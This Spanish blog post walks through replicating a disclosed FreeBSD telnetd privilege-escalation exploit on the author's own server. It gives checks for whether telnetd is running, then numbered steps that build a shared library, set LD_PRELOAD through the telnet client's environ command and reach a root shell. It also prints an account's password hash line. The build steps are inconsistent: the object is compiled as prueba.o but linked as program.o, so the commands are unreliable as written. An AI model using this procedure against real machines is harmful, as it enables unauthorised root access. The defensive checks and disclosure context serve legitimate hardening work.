Buenas,
El pasado 15 de febrero se anunció en la lista de seguridad de FreeBSD la publicación en full disclosure de detalles completos para poder, en presencia de telnetd, privilegios de root en las versiones más recientes de FreeBSD.
Se ha escrito bastante sobre el tema, ya que la existencia de problemas de seguridad en FreeBSD es siempre una noticia (no muy frecuente). Voy a aportar mi granito de arena, aprovechando que en la lista se dan detalles concretos, he realizado una réplica del exploit en mi servidor ( FreeBSD 7.0-RELEASE).
Importante
FreeBSD no trae por defecto el servidor telnetd activado. Para lograr éxito, el atacante debe colocar un fichero (ahora veremos cuál) en una ruta conocida (ya que será invocado durante el ataque). Esto es trivial si se dispone de una cuenta, pero es más complicado si no se dispone de ella (habría que colocar el fichero valiéndose de ingeniería social, FTP anónimo, scripts web vulnerables, etc.). En definitiva, en condiciones normales de explotación los sistemas no deberían ser vulnerables, o en su defecto, la explotación debería entrañar un mínimo de complejidad, pero siempre es aconsejable realizar una mínima comprobación, muy especialmente en sistemas expuestos al tráfico anónimo de Internet.
Es importante tener telnetd desactivado, ya que no tiene utilidad alguna existiendo SSH. Para verificar si telnetd está corriendo, basta con ejecutar:
ps ax | grep telnetd | grep -v grep
Si no está funcionando, la ejecución no mostrará nada. En caso contrario aparecerá algo similar a:
# ps ax | grep telnetd | grep -v grep
998 ?? Is 0:00.03 telnetd
1063 ?? Ss 0:00.01 telnetd
También es importante que el demonio no sea invocable desde inetd.conf. La siguiente ejecución no debería mostrar resultados:
grep telnetd /etc/inetd.conf | grep -v ^#
Si es imperativo tener al servidor aceptando comunicaciones telnet, hay que parchear con la máxima premura posible.
Atacando el sistema con una cuenta no privilegiada
1. Abrimos sesión SSH con nuestro usuario no privilegiado. Este usuario no es root y tiene shell.
shernando:$1$xVZHX9KU$9TDRZ8TJW1drb9v0n9.Nr1:1001:1001::0:0:Sergio Hernando:/home/shernando:/bin/sh
2. Creamos un fichero prueba.c, en el que incorporamos el código del exploit
3. Creamos un objeto basado en el fichero anterior
gcc -o prueba.o -c prueba.c -fPIC
4. Finalizamos la compilación
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
5. Nuestra carpeta home debería contener ahora los nuevos ficheros:
-rwxr-xr-x 1 shernando shernando 2712 Feb 22 20:48 libno_ex.so.1.0
-rw-r–r– 1 shernando shernando 197 Feb 22 20:47 prueba.c
-rw-r–r– 1 shernando shernando 1100 Feb 22 20:47 prueba.o
6. Como tenemos cuenta, no moveremos el fichero libno_ex.so.1.0, evento que puede ser necesario en otro tipo de condiciones de contorno (restricciones en home, etc). En estos casos, se podría mover el fichero al directorio /tmp, que usualmente tiene privilegios laxos.
7. Invocamos telnet
telnet
8. Antes de abrir conexión a la propia máquina, desactivamos la autenticación SRA y le decimos al cliente de dónde tomará las variables de entorno (nuestro fichero compilado)
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /home/shernando/libno_ex.so.1.0
9. Abrimos conexión a la máquina
telnet> open 192.168.213.254
10. Ganamos acceso root
Trying 192.168.213.254…
Connected to 192.168.213.254.
Escape character is ‘^]’.FreeBSD/i386 (nas) (ttyp5)
HOLA
# whoami
root
Os dejo un vídeo que muestra el proceso.
Un saludo,
Me pregunto quién sigue usando telnet a estas alturas de milenio :)
http://en.wikipedia.org/wiki/Telnet_3270
Por poner un ejemplo :)